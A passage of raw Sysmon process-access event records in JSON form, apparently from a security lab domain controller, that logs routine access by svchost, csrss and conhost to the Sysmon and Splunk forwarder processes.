C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.906\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.906","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:02.922\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FEA-5F2D-0000-001036660300}\r\nTargetProcessId: 2292\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:02.922","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FEA-5F2D-0000-001036660300}","TargetProcessId":"2292","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-wmi.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 